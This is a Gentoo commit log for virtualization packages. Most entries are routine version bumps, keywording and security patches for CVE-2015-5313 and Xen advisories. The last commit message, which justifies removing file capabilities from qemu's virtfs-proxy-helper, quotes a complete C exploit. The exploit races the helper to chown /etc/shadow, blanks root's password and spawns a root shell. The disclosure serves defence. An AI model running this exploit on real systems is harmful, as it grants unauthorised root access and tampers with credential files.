| Commit message (Collapse) | Author | Age | Files | Lines |
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wrt security patch in the gentoo bug
Gentoo bug: #569554
Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.25
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Package-Manager: portage-2.2.24
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Package-Manager: portage-2.2.24
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Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.26
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Thanks to Dessa for pointing this out.
Package-Manager: portage-2.2.26
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Prompt from user in bug #552424 to make install of /boot/xen-syms optional,
done by informing user via msg in pkg_postinst to do this using INSTALL_MASK
Gentoo bug: #552424
Package-Manager: portage-2.2.24
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Version 1.3.1 had a too restrictive check for x11-libs/vte:2.91. Fixed by
upstream in 1.3.2
Gentoo-Bugs: 569644
Package-Manager: portage-2.2.26
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- Bump to version 1.3.0 (including backport for CVE-2015-5313)
- Add runscript for freshly introduce virtlogd
Gentoo-Bugs: 569526, 568860, 567152
Package-Manager: portage-2.2.26
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Gentoo-Bug: 569526
Package-Manager: portage-2.2.26
Signed-off-by: Matthias Maier <tamiko@gentoo.org>
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Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="ppc"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="ppc"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
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Package-Manager: portage-2.2.24
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Gentoo-Bug: #568154
Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.26
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This is a cleanup for CVE-2015-5313 bug 568870.
Gentoo-Bugs: 568870
Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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This is a cleanup for CVE-2015-5313 bug 568870.
Gentoo-Bugs: 568870
Package-Manager: portage-2.2.26
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Apply fix for CVE-2015-5313 to 1.2.21:
A path-traversal flaw was found in the way the libvirt daemon handled
file-system names for storage volumes. A libvirt user with privileges to
create storage volumes and without privileges to create and modify
domains could possibly use this flaw to escalate their privileges.
Gentoo-Bug: 568870
Package-Manager: portage-2.2.26
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
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Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
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Package-Manager: portage-2.2.24
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Package-Manager: portage-2.2.24
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security patches added of xsa 164,165,166 re security Bug 567962
Gentoo bug: #567962
Package-Manager: portage-2.2.24
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security patches added of xsa 164,165,166, and those effecting qemu (4)
from xsa-155 re security Bug 567962
Gentoo bug: #567962
Package-Manager: portage-2.2.24
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="x86"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.20.1
Signed-off-by: Richard Yao <ryao@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
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The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:
~=~=~=~= snip ~=~=~=~=
/* == virtfshell ==
*
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
* virtfs-proxy-helper makes some sort of flimsy check to make sure
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
*
* This should spawn a root shell eventually on vulnerable systems.
*
* - zx2c4
* 2015-12-12
*
*
* zx2c4@thinkpad ~ $ lsb_release -i
* Distributor ID: Gentoo
* zx2c4@thinkpad ~ $ ./virtfshell
* == Virtfshell - by zx2c4 ==
* [+] Beginning race loop
* [+] Chown'd /etc/shadow, elevating to root
* [+] Cleaning up
* [+] Spawning root shell
* thinkpad zx2c4 # whoami
* root
*
*/
#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
static int it_worked(void)
{
struct stat sbuf = { 0 };
stat("/etc/shadow", &sbuf);
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}
int main(int argc, char **argv)
{
int fd;
pid_t pid;
char uid[12], gid[12];
sprintf(uid, "%d", getuid());
sprintf(gid, "%d", getgid());
printf("== Virtfshell - by zx2c4 ==\n");
printf("[+] Beginning race loop\n");
while (!it_worked()) {
fd = inotify_init();
unlink("/tmp/virtfshell/sock");
mkdir("/tmp/virtfshell", 0777);
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
pid = fork();
if (!pid) {
close(0);
close(1);
close(2);
execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
_exit(1);
}
read(fd, 0, 0);
unlink("/tmp/virtfshell/sock");
symlink("/etc/shadow", "/tmp/virtfshell/sock");
close(fd);
kill(pid, SIGKILL);
wait(NULL);
}
printf("[+] Chown'd /etc/shadow, elevating to root\n");
system( "cp /etc/shadow /tmp/original_shadow;"
"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
"cat /tmp/modified_shadow > /etc/shadow;"
"su -c '"
" echo [+] Cleaning up;"
" cat /tmp/original_shadow > /etc/shadow;"
" chown root:root /etc/shadow;"
" rm /tmp/modified_shadow /tmp/original_shadow;"
" echo [+] Spawning root shell;"
" exec /bin/bash -i"
"'");
return 0;
}
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